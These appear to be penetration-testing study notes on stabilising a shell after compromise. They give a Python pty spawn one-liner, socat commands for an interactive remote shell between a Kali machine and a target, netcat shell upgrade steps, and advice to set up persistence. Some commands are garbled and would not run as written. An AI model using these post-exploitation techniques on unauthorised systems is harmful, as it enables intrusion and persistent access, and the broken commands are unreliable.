**Stabilising Shells**

**Is the exploit stable?**

* Does it crash the system
* Does it run properly
* Is the shell stable
* Is the exploit a one-pump-run
* OEM process killers (taking too much memory up, or process running times etc)

**Python pty** is a pseudo terminal that can trick root actions that there is a real terminal in place when there’s not

* Vi, sudo, su
* Python -c ‘import pty; pty.spawn(“bin/bash”)’
  + Will be able to execute commands now

**Socat**

* `tty`,raw,echo=0 tcp-listen:4444 (on target)
* Socat exec:’bash -li’,pty.stderr.setsid,sigint,sane tcp:localhost (on kali)

**Creating interactive shell from scratch** with just the netcat console

* Id [set IDs]
* Uid=0(root) gid=0(root) groups=0(root)
* Export SHELL=bash
* Export TERM=xterm-256color
* Stty rows 27 columns 81

Interactive shell is now running

Once a machine is exploited, make sure you have a stable interactive shell first, then an make sure there’s an active tty session available to you, then follow up with persistence